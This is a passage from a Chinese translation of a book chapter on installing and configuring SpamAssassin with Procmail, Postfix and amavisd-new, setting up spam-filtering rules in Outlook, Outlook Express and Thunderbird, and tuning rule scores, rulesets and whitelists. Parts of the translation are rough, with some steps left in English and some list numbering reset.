-如果输出包含警告,则说明出了问题。 在继续使用 SpamAssassin 之前,有必要先修复它。 最好的地方去 SpamAssassin Wiki (http://wiki.apache.org/spamassassin/),SpamAssassin 邮件列表的档案(http://wiki.apache.org/spamassassin/MailingLists),和你最喜欢的搜索引擎。 与大多数开源项目一样,开发人员都是志愿者,并且感谢那些在发布请求帮助之前搜索问题解决方案的用户,因为大多数问题之前已经遇到过很多次了。 - -### 修改邮件 - -除了上面提到的电子邮件头之外,如果电子邮件被认为是垃圾邮件,SpamAssassin 还会修改它。 它获取原始电子邮件,并将其转换为电子邮件附件,其中包含一个简单的电子邮件。 如果 SpamAssassin 检测到潜在的病毒或其他危险内容,它总是对电子邮件进行封装。 在其默认配置中,它将在垃圾邮件周围添加一个信封电子邮件,但如果需要,可以关闭此功能。 请参阅 SpamAssassin 文档中有关 `report_safe`指令的内容。 信封电子邮件看起来像这样: - -![Modified e-mails](img/8648_08_04.jpg) - -# 使用 SpamAssassin - -现在安装了 SpamAssassin,我们需要配置系统以使用它。 SpamAssassin 可以以多种方式使用。 它可以集成到 MTA 的最大性能; 它可以作为守护进程或简单的脚本运行,以避免复杂性; 它可以为每个用户使用单独的设置,也可以为所有用户使用单一的一组设置; 它可以用于所有账户,也可以只用于选定的账户。 在本书中,我们将讨论三种使用 SpamAssassin 的方式。 - -第一种方法是使用 Procmail。 这是最简单的配置方法,适用于小容量站点,例如,每天少于 10,000 封电子邮件。 - -第二种方法是使用 SpamAssassin 作为守护进程。 这更有效,如果需要的话,仍然可以与 Procmail 一起使用。 - -第三种方法是将 SpamAssassin 与 amavisd 这样的内容过滤器集成在一起。 这提供了性能优势,但有时内容过滤器不能与 SpamAssassin 的最新版本一起工作。 如果有问题,通常很快就会得到解决。 - -### 注意事项 - -为了帮助您最大程度地利用 SpamAssassin, Packt Publishing 发布了 SpamAssassin:集成和配置实用指南(ISBN 1-904811-12-4),作者是 Alistair McDonald。 - -## 在 Procmail 中使用 SpamAssassin - -Procmail 在第 6 章和第 7 章中介绍过。 如果您至少对 Procmail 有一个基本的了解,那么下面的内容应该很容易理解。 如果你在阅读这一章的时候还不了解 Procmail,那么你有必要阅读第 6 章,它在继续本文之前讨论了 Procmail 的基础知识。 - -在配置系统以使用 SpamAssassin 之前,让我们先考虑 SpamAssassin 是做什么的。 SpamAssassin 是*而不是*电子邮件过滤器。 过滤器是改变电子邮件目的地的东西。 SpamAssassin 将电子邮件头添加到电子邮件中,以指示它是否是垃圾邮件。 - -考虑这样的邮件标题: - -```sh -Return-Path: -X-Original-To: jdoe@localhost -Delivered-To: jdoe@host.domain.com -Received: from localhost (localhost [127.0.0.1]) -by domain.com (Postfix) with ESMTP id 52A2CF2948 -for ; Thu, 11 Nov 2004 03:39:42 +0000 (GMT) -Received: from pop.ntlworld.com [62.253.162.50] -by localhost with POP3 (fetchmail-6.2.5) -for jdoe@localhost (single-drop); Thu, 11 Nov 2004 03:39:42 +0000 (GMT) -Message-ID: -Date: Wed, 10 Nov 2004 17:54:14 -0800 -From: "stephen mellors" -User-Agent: MIME-tools 5.503 (Entity 5.501) -X-Accept-Language: en-us -MIME-Version: 1.0 -To: "Jane Doe" -Subject: nearest pharmacy online -Content-Type: text/plain; -charset="us-ascii" -Content-Transfer-Encoding: 7bit - -``` - -SpamAssassin 将添加标题行。 - -```sh -X-Spam-Flag: YES -X-Spam-Checker-Version: SpamAssassin 3.1.0-r54722 (2004-10-13) on -host.domain.com -X-Spam-Level: ***** -X-Spam-Status: Yes, score=5.8 required=5.0 tests=BAYES_05,HTML_00_10, -HTML_MESSAGE,MPART_ALT_DIFF autolearn=no -version=3.1.0-r54722 - -``` - -SpamAssassin 并不改变电子邮件的目的地,它所做的只是添加一些头,以使其他东西能够改变电子邮件的目的地。 - -表明电子邮件是垃圾邮件的最佳标志是 `X-Spam-Flag`。 如果这是 `YES`,SpamAssassin 认为该邮件是垃圾邮件,可以通过 Procmail 对其进行过滤。 - -SpamAssassin 还为每个电子邮件分配一个分数,分数越高,该电子邮件越有可能是垃圾邮件。 可以在系统范围或每个用户基础上配置确定电子邮件是否是垃圾邮件的阈值。 如果您使用未经修改的 SpamAssassin 安装,没有任何自定义规则集,那么默认的 `5.0`是一个合理的默认值。 - -### 全局 procmailrc 文件 - -让我们假设我们想要使用 SpamAssassin 检查所有收到的电子邮件是否有垃圾邮件。 `/etc/procmailrc`文件中的命令是针对所有用户运行的,因此在这里执行 SpamAssassin 是最理想的。 - -下面的简单配方将在 `/etc/procmailrc:`中为所有用户运行 SpamAssassin - -```sh -:0fw -| /usr/bin/spamassassin - -``` - -要将所有垃圾邮件放在单个垃圾邮件文件夹中,请确保 `global/etc/procmailrc`文件中有一行指定默认目标。 例如: - -```sh -DEFAULT=$HOME/.maildir/ - -``` - -如果不是,则添加指定 `DEFAULT`的行。 要过滤垃圾邮件到一个文件夹中,添加类似以下的配方: - -```sh -* ^X-Spam-Flag: Yes -.SPAM/new - -``` - -这假定每个用户都已经配置了一个名为 `SPAM`的文件夹。 - -要把所有的垃圾邮件放在一个单一的,中央文件夹,使用一个绝对路径的目的在配方: - -```sh -* ^X-Spam-Flag: Yes -/var/spool/poss_spam - -``` - -这将把所有垃圾邮件放在一个文件夹中,系统管理员可以查看该文件夹。 由于常规电子邮件可能偶尔被错误地检测为垃圾邮件,因此该文件夹不应该是全球可读的,这导致了更一般化的声明。 - -### 注意事项 - -SpamAssassin 将在 Postfix 使用的系统帐户下运行。 这意味着贝叶斯数据库以及自动白名单和黑名单将由所有用户共享。 从安全性的角度来看,SpamAssassin 创建的各种数据库不具有世界可写性是很重要的。 - -SpamAssassin 将用户特定的文件存储在 `~/.spamassassin/`目录中。 下面是一个文件列表,*可能*为用户提供: - - -| - -文件 - - | - -内容 - - | -| --- | --- | -| `auto-whitelist``aauto-whitelist.db``aauto-whitelist.dir``aauto-whitelist.pag` | SpamAssassin 创建发送垃圾邮件(非垃圾邮件)的用户数据库,并使用它来预测来自特定发件人的电子邮件是垃圾邮件还是垃圾邮件。 这些文件用于跟踪用户。 | -| `bayes_journal``bayes_seen``bayes_toks` | SpamAssassin 使用了一种叫做贝叶斯分析的统计技术。 这些文件用于此特性。 | -| `user_prefs` | 该文件允许覆盖特定用户的全局设置。 该文件可以包含配置设置、规则和分数。 | - -其中一些可能包含机密数据,例如,常规联系人将出现在自动白名单文件中。 谨慎使用权限将确保普通用户帐户无法读取文件。 - -### 基于每个用户使用 SpamAssassin - -也许有些用户没有收到垃圾邮件,或者用户共享白名单和贝叶斯数据库可能存在问题。 通过将菜谱移动到特定用户的 `~/.procmailrc`中,SpamAssassin 可以单独运行。 这应该会提高每个用户的过滤性能,但是会增加每个用户的磁盘空间使用量,并且需要通过修改其 `~/.procmailrc`来设置每个单独的用户帐户。 - -一个典型的用户的 `.procmailrc`可能看起来像这样: - -```sh -MAILDIR=$HOME/.maildir -:0fw -| /usr/bin/spamassassin -:0 -* ^X-Spam-Flag: Yes -.SPAM/cur - -``` - -正如建议的那样,电子邮件有时可能被错误地检测为垃圾邮件。 检查垃圾邮件以确保合法电子邮件没有被错误分类是值得的。 如果用户收到大量的垃圾邮件,那么费力地处理这些邮件将是非常耗时、乏味且容易出错的。 Procmail 可以通过检查 SpamAssassin 在电子邮件头中写入的垃圾邮件分数来过滤垃圾邮件。 - -得分较低的垃圾邮件(例如得分高达 9)可以放在一个名为 `Probable_Spam`的文件夹中,而得分较高的电子邮件(更有可能是垃圾邮件)可以放在一个名为 `Certain_Spam`的文件夹中。 - -为此,我们使用 SpamAssassin 创建的 `X-Spam-Level`头。 这只是与 `X-Spam-Level`值相关的星号的数量。 通过将带有超过一定数量星号的电子邮件移动到 `Certain_Spam`文件夹,剩下的垃圾邮件是“可能的垃圾邮件”。 带有 `X-Spam-Flag: NO`标记的电子邮件显然不是垃圾邮件。 - -下面的 `.procmailrc`文件将从评分低的垃圾邮件和非垃圾邮件中分别过滤高分垃圾邮件: - -```sh -MAILDIR=$HOME/.maildir -:0fw -| /usr/bin/spamassassin -:0 -* ^X-Spam-Level: \*\*\*\*\*\*\*\*\*\*\*\*\*\* -.Certain_Spam/cur -:0 -* ^X-Spam-FLAG: YES -.Probable_Spam/cur - -``` - -## 使用 SpamAssassin 作为 Postfix 的后台进程 - -守护进程是一个后台进程; 一个等待工作,处理它,然后等待更多的工作。 使用这种方法实际上提高了性能(只要有足够的内存),因为响应性得到了改进——程序总是准备好并等待,而不必每次需要垃圾邮件标记时都加载。 - -要使用 SpamAssassin 作为守护进程,需要添加一个用户帐户——将任何服务作为 `root`运行都是危险的。 输入以下命令,将一个用户和一个组称为垃圾邮件: - -```sh -# groupadd spam -# useradd -m -d /home/spam -g spam -s /bin/false spam -# chmod 0700 /home/spam - -``` - -要配置 Postfix 来运行 SpamAssassin,请使用 SpamAssassin 作为守护进程。 必须更改后缀 `master.cf`文件。 编辑文件并找到以`'smtp inet'`开头的行。 修改这一行,在末尾加上 `-o content_filter=spamd`。 - -```sh -smtp inet n - n - - smtpd -o content_filter=spamd - -``` - -将以下几行添加到文件末尾: - -```sh -spamd unix - n n - - pipe -flags=R user=spam argv=/usr/bin/spamc --e /usr/sbin/sendmail -oi -f ${sender} ${recipient} - -``` - -如果文本分散在几行中,任何连续行都必须以空格开头,如图所示。 对文件的更改定义了一个名为 `spamd`的过滤器,该过滤器为每条消息运行 `spamc`客户端,并指定当通过 SMTP 接收到电子邮件时应该运行该过滤器。 - -在这一行中, `spamd`是筛选器的名称,与 `content_filter`行中使用的名称相匹配。 `user=`部分指定了应该用于运行该命令的用户上下文。 `argv=`部分描述了应该运行的程序。 其他标志由 Procmail 使用,它们的存在很重要。 - -## 用 amavisd-new 使用 SpamAssassin - -**amavisd-new**是 mta 和内容检查器之间的接口。 尽管叫 amavisd-new,但它是一个完善的、维护良好的开源包。 内容检查器扫描电子邮件中的病毒和/或垃圾邮件。 Amavisd-new 略有不同。 就像 `spamd`一样,它是用 Perl 编写的,并作为一个守护进程运行,但它不是通过 `spamc`或 `spamassassin`客户端访问 SpamAssassin,而是将 SpamAssassin 加载到内存中并直接访问 SpamAssassin 函数。 因此,它与 SpamAssassin 紧密耦合,可能需要与 SpamAssassin 同时升级。 【5】 - -与其他基于 perl 的应用和实用程序不同,amavisd-new 不能从 CPAN 中获得。 然而,对于许多 Linux 发行版来说,它以源代码和 RPM 形式提供,并且也可以用于基于 debian 的存储库。 可用版本的详细信息列在[http://www.ijs.si/software/amavisd/#download](http://www.ijs.si/software/amavisd/#download)上。 我们建议,如果您的分销商提供的 SpamAssassin 版本是最新的,那么您应该使用他们的 SpamAssassin 和 amavisd 包。 - -### 安装 amavisd-new - -要从包中安装 amavisd-new,对基于 rpm 的发行版使用 `rpm`命令。 amavisd-new 有许多依赖项,它们都是 Perl 模块。 每个版本可能有不同的依赖项,这些依赖项在作为软件包一部分的安装文件中列出。 版本 2.6.2 的 Perl 先决条件如下: - -```sh -Archive::Zip -BerkeleyDB -Convert::BinHex -Convert::TNEF -Convert::UUlib -Crypt::OpenSSL::Bignum -Crypt::OpenSSL::RSA -Digest::HMAC -Digest::Sha1 -IO::Multiplex -IO::Stringy -MIME::Tools -Mail::DKIM -Net::CIDR -Net::DNS -Net::IP -Net::Server -Unix::Syslog - -``` - -要查看某个特定版本的 amavisd-new 的先决条件,请下载源代码并解包,如下所示,然后读取安装文件。 - -```sh -$ cd /some/dir -$ wget http://www.ijs.si/software/amavisd/amavisd-new-2.6.2.tar.gz -$ tar xfz amavisd-new-2.6.2.tar.gz -$ cd amavisd-new-2.6.2 -$ vi INSTALL - -``` - -可能已经安装了几个依赖项,因为 SpamAssassin 也使用了它们。 - -### 安装前提条件 - -一些基于 rpm 的 Linux 发行版可能会自动将先决条件作为依赖项安装。 对于其他发行版,所有的先决条件都必须从 CPAN 下载并安装。 这最容易通过 `cpan`命令完成。 另一种方法是分别下载每个先决条件的源代码,并使用以下命令安装它: - -```sh -$ cd /some/directory -$ gunzip -c source-nn.tar.gz | tar xf - -$ cd source-nn -$ perl Makefile.pl -$ make test -$ su -# make install - -``` - -### 从源代码安装 - -Amavisd-new 没有生成文件、配置脚本或安装例程。 为了安装它,将唯一的可执行脚本复制到 `/usr/local/bin`,并修改其属性以确保非 root 用户不能修改它: - -```sh -# cp amavisd /usr/local/sbin/ -# chown root /usr/local/sbin/amavisd -# chmod 755 /usr/local/sbin/amavisd - -``` - -应该将示例 `amavisd.conf`文件复制到 `/etc`,并修改其属性。 - -```sh -# cp amavisd.conf /etc/ -# chown root /etc/amavisd.conf -# chmod 644 /etc/amavisd.conf - -``` - -amavisd-new 必须配置为作为守护进程运行,因此应该将示例 `init`脚本复制到适当的目录中。 - -```sh -# cp amavisd_init.sh /etc/init.d/amavisd-new - -``` - -还应该将 `init`脚本添加到系统启动中。 大多数 Linux 发行版使用 `chkconfig`命令来执行此操作。 - -```sh -# chkconfig --add amavisd-new - -``` - -### 为 amavisd-new 创建一个用户帐户 - -要创建用户帐户,首先使用 `groupadd`命令创建专用组,然后使用 `useradd`命令添加用户。 - -```sh -# groupadd amavis -# useradd -m -d /home/amavis -g amavis -s /bin/false amavis - -``` - -### 配置 amavisd-new - -需要对 `/etc/amavisd.conf`文件进行几处更改。 该文件将作为 Perl 源文件进行解析,语法非常重要。 每一行都应该以分号结束,并且分号的大小写很重要。 以下变量声明行应该更改为包含以下值: - -```sh -$MYHOME = '/home/amavis'; -$mydomain = 'domain.com'; -$daemon_user = 'amavis'; -$daemon_group = 'amavis'; -$max_servers = 5; # number of pre-forked children (default 2) - -``` - -确保为 `$mydomain`指定了正确的域。 为 `$max_servers`指定的数量 `5`是将并发运行的守护进程的数量。 如果您有一定数量的电子邮件,例如每秒少于 10 条消息,那么默认值就足够了。 - -在 `/etc/amavisd.conf`中,有一个关于 spamassassin 相关配置设置的部分: - -```sh -$sa_tag_level_deflt = 2.0; -$sa_tag2_level_deflt = 6.2; -$sa_kill_level_deflt = 6.9; - -``` - -这三种设置用于与正在处理的电子邮件相关联的 SpamAssassin 得分级别。 `$sa_tag_level_deflt`设置是将垃圾邮件与垃圾邮件分开并将 `X-Spam-Status`和 `X-Spam-Level`标题添加到电子邮件中的阈值。 - -得分低于此阈值的电子邮件不添加标题,而得分高于此阈值的电子邮件将添加标题。 `$sa_kill_level_deflt`设置是拒绝垃圾邮件的阈值。 - -默认配置是拒绝垃圾邮件。 要将垃圾邮件转发到另一个电子邮件地址,请找到指定 `$final_spam_destiny`的行,如果不存在,则添加一个,并使其如下所示: - -```sh -$final_spam_destiny = D_PASS; # (defaults to D_REJECT) - -``` - -必须定义垃圾邮件的收件人。 找到指定 `$spam_quarantine_to`的行,修改它或添加一行以包含电子邮件地址。 在本步骤前面配置的 `$mydomain`变量可用于引用域—记住在 `@`符号前加一个反斜杠。 - -```sh -$spam_quarantine_to = "spam-quarantine\@$mydomain"; - -``` - -现在,amavisd-new 应该开始了。 大多数 Linux 发行版使用以下命令: - -```sh -# /etc/init.d/amavisd-new start - -``` - -### 配置后缀来运行 amavisd-new - -编辑 `/etc/postfix/master.cf`并定位这一行: - -```sh -smtp inet n - n - - smtpd - -``` - -在它后面添加以下几行: - -```sh -smtp-amavis unix y - 5 smtp --o smtp_data_done_timeout=1200 --o disable_dns_lookups=yes -127.0.0.1:10025 inet n y-- smtpd --o content_filter= --o local_recipient_maps= --o relay_recipient_maps= --o smtpd_restriction_classes= --o smtpd_recipient_restrictions=permit_mynetworks,reject --o mynetworks=127.0.0.0/8 --o strict_rfc821_envelopes=yes - -``` - -在 `smtp-amavis`行中,编号 `5`指定可以同时使用的实例数。 这应该对应于 `amavisd.conf`文件中指定的 `$max_servers`项。 - -编辑 `/etc/postfix/main.cf`并在文件末尾添加如下一行: - -```sh -content_filter = smtp-amavis:[localhost]:10024 - -``` - -使用 `postfix reload`命令重新启动 Postfix: - -```sh -# postfix reload - -``` - -# 配置电子邮件客户端 - -这可以由电子邮件客户机执行,而不是使用 Procmail 将垃圾邮件放置在单独的文件夹中。 大多数电子邮件客户机允许创建规则或过滤器。 这些通常在阅读新电子邮件或打开文件夹时起作用。 - -电子邮件客户机中的规则基于电子邮件头的值运行。 最好使用 `X‑Spam-Flag`并搜索值 `YES`。 将带标记的消息移动到单独的文件夹的过程概述如下: - -1. 创建用于保存垃圾邮件的文件夹或邮箱。 文件夹名称应该直观,例如 `Spam`。 -2. 创建一个在电子邮件到达时运行的规则。 该规则应该在消息头中查找文本 `X‑Spam-Flag`。 -3. 规则的操作应该是将电子邮件移动到在第一步中创建的 `Spam`文件夹中。 -4. 创建过滤器后,发送测试邮件,包括垃圾邮件和非垃圾邮件,以检查过滤器是否正常工作。 - -## Microsoft Outlook - -Microsoft Outlook 在大型组织中很流行。 它与 IMAP 服务器集成得很好。 按照以下步骤配置 Outlook 以过滤垃圾邮件,基于电子邮件标题中的 `X‑Spam‑Flag`: - -### 注意事项 - -这些说明基于 Microsoft Office XP 附带的 Outlook; 其他版本有类似的配置细节。 - -1. Create a folder to store the spam. Click on the **Inbox** in the folder list to select it, right-click and select **New Folder** from the menu. Choose Spam, or another meaningful name and then click **OK**. - - ![Microsoft Outlook](img/8648_08_05.jpg) - -2. 点击**Tools**菜单,选择**Rules and Alerts**。 单击**New Rule**创建新规则。 - -![Microsoft Outlook](img/8648_08_06.jpg) - -1. 从空白规则中选择**检查消息到达时**。 点击**Next**。 -2. 检查消息头中的特定单词。 这将允许 Outlook 检查 X-Spam-Flag 电子邮件头。 点击特定的单词来选择正确的短语。 - -![Microsoft Outlook](img/8648_08_07.jpg) - -1. 在下一个对话框中,小心地输入**X-Spam-Flag: YES**,然后点击**添加**。 然后按**OK**,再按**Next**。 - -![Microsoft Outlook](img/8648_08_08.jpg) - -1. 下一个窗口提供操作选择。 选择**将其移动到指定的文件夹**,点击**指定的**,将显示文件夹列表。 - -![Microsoft Outlook](img/8648_08_09.jpg) - -1. 选择之前创建的文件夹,然后按**OK**。 点击**完成**。 没有例外,所以再次单击**Next**。 -2. 规则向导允许在收件箱中的任何现有邮件上立即运行该规则。 要做到这一点,请确保选中**旁边的复选框**。 -3. 最后,单击**Finish**,规则将被创建并在 Inbox 中的所有邮件上运行。 - -## Microsoft Outlook Express - -Outlook Express 与大多数 Windows 版本一起提供,包括 Windows XP。 它提供 POP3 连接和许多特性,比如 HTML 电子邮件。 一些电子邮件客户端,包括 Outlook Express,不允许对每个电子邮件标头进行过滤,但只允许对某些特定标头进行过滤,如 `From:`和 `Subject:`标头。 默认情况下,SpamAssassin 只写入额外的标头,但可以将其配置为更改电子邮件的 `Subject, From`或 `To`标头。 为此,应该修改 `/etc/spamassassin/local.cf`文件。 通过编辑 `~user/.spamassassin/user_prefs`,也可以在每个用户的基础上进行这种更改。 - -在文件中添加以下一行: - -```sh -rewrite_header Subject *****SPAM***** - -``` - -这将把电子邮件的标题更改为 `*****SPAM*****`。 如果需要,可以修改标签。 - -现在 SpamAssassin 配置已经完成,可以将 Outlook Express 配置为对修改的消息主题进行操作。 遵循以下步骤: - -1. 为垃圾邮件创建一个文件夹。 为此,选择**文件**菜单,单击**文件夹**,然后单击**新建**。 键入**垃圾邮件**或其他描述性名称作为文件夹名称,然后单击**确定**。 -2. 选择**Tools**菜单,然后选择**Message Rules**,再选择**New**。 在下一个窗口中,确保条件包括**,其中 Subject 行包含特定的单词**,并且操作包括**将其移动到指定的文件夹**。 - -![Microsoft Outlook Express](img/8648_08_10.jpg) - -1. 点击包含特定单词的**,输入*******SPAM*******,或配置 SpamAssassin 时选择的备选短语。 点击**OK**。** - -![Microsoft Outlook Express](img/8648_08_11.jpg) - -1. Click on **specified** in the next line of the **Rule Description**. Select the folder created and click **OK**. - - ![Microsoft Outlook Express](img/8648_08_12.jpg) - -2. 对规则进行了总结。 给它起一个有意义的名字,比如 Spam,然后单击**OK**保存它。 - -## Mozilla 雷鸟 - -Mozilla Thunderbird 是一个免费的、开源的电子邮件客户端,具有 Microsoft Outlook 的大部分功能。 可通过[www.mozilla.org/products/thunderbird/](http://www.mozilla.org/products/thunderbird/)免费获取。 它有完整的过滤能力。 要配置它,请遵循以下步骤: - -1. 创建一个文件夹来存储垃圾邮件。 点击**File**菜单,选择**New**|**Folder**。 选择一个地址(收件箱应该没问题)和一个名称,例如**垃圾邮件**。 点击**OK**。 - -![Mozilla Thunderbird](img/8648_08_13.jpg) - -1. 点击**Tools**菜单,选择**Message Filters**。 单击**New**按钮创建一个新的过滤器。 - -![Mozilla Thunderbird](img/8648_08_14.jpg) - -1. In the next dialog, choose a name for the filter such as **Spam**. Then select the **Match any of the following** button. In the left list, type **X-Spam-Status**, in the middle list select **is**, and in the right select **Yes**. In the box below, click on **Move Message to**, and select the folder created in the first step. - - ![Mozilla Thunderbird](img/8648_08_15.jpg) - -2. 单击**OK**,规则摘要将显示该规则。 按**Run Now**测试规则。 - -![Mozilla Thunderbird](img/8648_08_16.jpg) - -# 自定义 SpamAssassin - -SpamAssassin 是非常可配置的。 几乎每个设置都可以在系统范围内或特定于用户的基础上进行配置。 - -## 自定义原因 - -如果 SpamAssassin 这么好,为什么要配置它呢? 好吧,有几个原因说明为什么值得用 SpamAssassin 改进垃圾邮件过滤。 - -* SpamAssassin 在默认情况下(即在安装但不是自定义的情况下)通常能够检测到超过 80%的垃圾邮件。 添加一些定制后,检出率可以超过 95%。 -* 每个人的垃圾邮件都是不同的,一个用户的垃圾邮件可能看起来像另一个用户的火腿。 通过尝试一般化,SpamAssassin 可能无法为每个用户过滤垃圾邮件。 -* SpamAssassin 的一些功能在默认情况下是禁用的。 通过启用它们,可以提高垃圾邮件的识别率。 - -本章将讨论以下配置选项: - -* **改变规则的分数:**这允许禁用规则,给予较差的规则较少的权重,给予较好的规则较高的权重。 -* **获取和使用新规则:**这可以提高垃圾邮件检测。 -* **将电子邮件地址添加到白名单和黑名单:**这允许来自指定发件人的电子邮件始终被视为火腿,无论其内容是什么,或相反。 -* **启用 SpamAssassin 的贝叶斯过滤器:**这可以将过滤精度从 80%提高到 95%或更多。 - -## 规则与得分 - -标准、站点范围和用户特定设置的配置文件保存在不同的目录中,如下所示: - -* 标准配置设置存储在 `/usr/share/spamassassin`中。 -* 站点范围的自定义和设置存储在 `/etc/mail/spamassassin/`中。 SpamAssassin 检查所有匹配 `*.cf`的文件。 -* 特定于用户的设置存储在 `~/.spamassassin/local.cf`中。 - -大部分的标准配置文件用于描述简单的规则和它们的分数。 - -规则通常是字母、数字或其他打印字符的匹配。 规则是使用一种叫做正则表达式(regex)的技术编写的。 这是一种简写方法,用于指定某些字符组合将触发该规则。 一个规则可能会尝试检测一个特定的单词,比如“Rolex”,或者它可能会以特定的顺序查找特定的单词,比如“在线购买 Rolex”。 规则存储在文本文件中。 - -默认文件存储在 `/usr/share/spamassassin`中。 这些是 SpamAssassin 附带的文件,可能随着每个版本的发布而改变。 最好不要修改这些文件或在这个目录中放置新文件,因为升级到 SpamAssassin 会覆盖这些文件。 SpamAssassin 使用的大多数规则以及应用于每个规则的分数都在这个目录中的文件中定义。 - -缺省值可以被站点范围的配置文件覆盖。 这些放在 `/etc/mail/spamassassin`中。 SpamAssassin 将读取此目录中匹配 `*.cf`的所有文件。 此处所做的设置可以否决默认文件中的设置。 它们可以包括定义新规则和新规则得分。 - -用户特定的自定义可以放在 `~/.spamassassin/local.cf`文件中。 此处的设置可以覆盖 `/etc/mail/spamassassin`中定义的站点范围设置和 `/usr/share/spamassassin/`中的默认设置。 可以在这里定义新的规则,并且可以覆盖现有规则的分数。 - -SpamAssassin 首先按字母数字顺序读取 `/usr/share/spamassassin`中的所有文件; `10_misc.cf`将在 `23_bayes.cf`之前阅读。 然后 SpamAssassin 再按照字母数字顺序读取 `/etc/mail/spamassassin/`中的所有 `.cf`文件。 最后,SpamAssassin 读到了 `~user/.spamassassin/user_prefs`。 如果在两个文件中定义了一个规则或分数,则使用最后读取的文件中的设置。 这允许管理员覆盖缺省值,用户覆盖站点范围的设置。 - -规则文件中的每一行可以是空的,也可以包含注释或命令。 散列或#符号用于注释。 规则通常有三个部分:规则定义、文本描述和分数或一系列分数。 惯例规定 SpamAssassin 提供的规则的所有规则得分都应该放在一个单独的文件中。 那个文件是 `/usr/share/spamassassin/50_scores.cf`。 - -## 改变规则分数 - -最简单的配置更改是更改规则得分。 有两个原因: - -* 一个规则非常擅长检测垃圾邮件,但是该规则的得分很低。 触发该规则的电子邮件不会被检测为垃圾邮件。 -* 一个规则是针对非垃圾邮件的。 因此,触发该规则的电子邮件会被错误地检测为垃圾邮件。 - -在运行 SpamAssassin 时给出积极结果的规则在电子邮件的标题 `X-Spam-Status:`中列出: - -```sh -X-Spam-Status: Yes, score=5.8 required=5.0 tests=BAYES_05,HTML_00_10, -HTML_MESSAGE,MPART_ALT_DIFF autolearn=no -version=3.1.0-r54722 - -``` - -应用于电子邮件的规则列在 `tests=`之后。 如果在电子邮件中不断出现一个应该被标记为垃圾邮件的内容,但实际上不是,那么该规则的得分应该提高。 如果一条规则经常在被错误分类为垃圾邮件的电子邮件中触发,则应该降低分数。 - -要查找当前分数,请在所有可以定义分数的位置使用 `grep`实用程序。 - -```sh -grep score.*RULE_NAME -$ grep score.*BAYES /usr/share/spamassassin/* /etc/mail/spamassassin/* ~/.spamassassin/local.cf - -``` - -```sh -/etc/mail/spamassassin/local_scores.cf:score RULE_NAME 0 0 1.665 2.599 -/etc/mail/spamassassin/local_scores.cf: 4.34 - -``` - -在前面的示例中,该规则有一个默认分数,在 `/etc/mail/spamassassin/local_scores.cf`中被覆盖。 - -规则的原始分数有四个值。 SpamAssassin 根据是否使用网络测试(例如,测试开放中继的测试)和是否使用贝叶斯过滤器改变其使用的评分。 列出了四个分数,分别用于以下情况: - - -|   | **贝叶斯过滤器未使用** | **贝叶斯过滤器的使用** | -| **未使用的外部试验** | 1 分 | 3 分 | -| **外用试验** | 2 分 | 4 分 | - -如果只给出一个分数,就像在 `/etc/mail/spamassassin/ local_scores.cf`中覆盖的那样,它将在所有情况下使用。 - -在前面的示例中,系统管理员使用 `/etc/mail/spamassassin/local_scores.cf`中的单个值覆盖了 `/etc/mail/spamassassin/local_scores.cf`中的默认评分。 要为特定用户更改此值,其 `~/.spamassassin/local.cf`可能为: - -```sh -score RULE_NAME 1.2 - -``` - -这会将使用的评分从 `/etc/mail/spamassassin/ local_scores.cf`中设置的 `4.34`更改为 `1.2`。 要完全禁用该规则,分数可以设置为零。 - -```sh -score RULE_NAME 0 - -``` - -配置规则分数可能需要花费大量的时间。 SpamAssassin 包含通过检查现有电子邮件(包括垃圾邮件和非垃圾邮件)来重新计算最优规则分数的工具。 它们在 Packt 出版的书*SpamAssassin*中有详细介绍。 - -## 使用其他规则集 - -SpamAssassin 拥有大量的追随者,而 SpamAssassin 的设计使添加新规则集变得很容易,这些规则集包括规则集和这些规则的默认分数。 有许多不同的规则集可用。 大多数是基于一个特定的主题,例如查找经常与垃圾邮件或垃圾邮件中的电话号码一起出售的毒品名称。 大多数自定义规则集都在 SpamAssassin Wiki 的自定义规则集页面[http://wiki.apache.org/spamassassin/CustomRulesets](http://wiki.apache.org/spamassassin/CustomRulesets)中列出。 - -由于与垃圾邮件的战斗是如此激烈,已经开发出了可能每天都要上传的规则集。 SpamAssassin 通过 `sa-update`实用程序提供了此功能。 您可以选择定期使用 `sa-update`,或者下载特定的规则集并保存它,或者手动更新您所选择的规则集。 为了获得最佳的垃圾邮件过滤效果,建议使用 `sa-update`。 - -如果您希望手动安装规则集,Wiki 页面提供了每个规则集的一般描述和下载它的 URL。 一旦选择了规则集,我们将按照如下方式安装它: - -1. 在浏览器中,点击 SpamAssassin Wiki 页面上的链接。 在大多数情况下,链接将指向一个名称匹配 `*.cf`的文件,浏览器将以文本文件的形式打开该文件。 -2. 使用浏览器保存文件(通常,**file**菜单有**另存为**选项)。 -3. 将文件复制到 `/etc/mail/spamassassin`—如果文件放在此位置,规则将自动运行。 -4. 检查文件中是否有分数,否则规则将不会被使用。 -5. 监视垃圾邮件性能,以确保合法电子邮件不会被检测为垃圾邮件。 - -向 SpamAssassin 添加规则将增加 SpamAssassin 使用的内存和处理电子邮件所需的时间。 最好是谨慎地逐步添加新的规则集,以确保了解对机器的影响。 - -您可以手动监视规则集,并使用相同的过程在系统上更新它。 - -如果您选择使用 `sa-update`,您应该计划如何使用它。 Sa-update 可以使用几个通道,这些通道基本上是规则集的来源。 默认情况下,使用通道 updates.spamassassin.org; 另一个流行的通道是 OpenProtect 通道,称为[saupdates.openprotect.com](http://saupdates.openprotect.com)。 - -要启用 `sa-update`,必须定期运行它,例如通过 cron。 向系统中添加一个 cron 条目,调用以下命令来更新基本规则集: - -```sh -sa-update - -``` - -如果你使用一个额外的通道,命令可能看起来像: - -```sh -sa-update –channel saupdates.openprotect.com - -``` - -### 提示 - -为了防止 DNS 中毒和假冒,SpamAssassin 允许对规则集进行数字签名。 要使用带符号的规则集,请使用`—gpgkey`-参数到`sa-update`。 与`—gpgkey`参数一起使用的正确值将在规则集的 SpamAssassin wiki 页面中描述。 - -## 白名单和黑名单 - -SpamAssassin 非常擅长检测垃圾邮件,但总是存在出错的风险。 通过使用已知垃圾邮件制造者的电子邮件地址列表(黑名单),可以过滤掉来自始终使用相同电子邮件地址或域的垃圾邮件制造者的电子邮件。 通过合法电子邮件发送者的电子邮件地址列表(白名单),来自普通或重要通信者的电子邮件保证被过滤为 ham。 这防止了可能被标记为垃圾邮件的重要电子邮件的延迟或无法交付。 - -列出单个电子邮件地址的黑名单用途有限,垃圾邮件发送者通常对每次垃圾邮件运行使用不同或随机的电子邮件地址。 然而,有些垃圾邮件发送者使用同一个域进行多次运行。 由于 SpamAssassin 允许在其黑名单中使用通配符,因此可以将整个域列入黑名单。 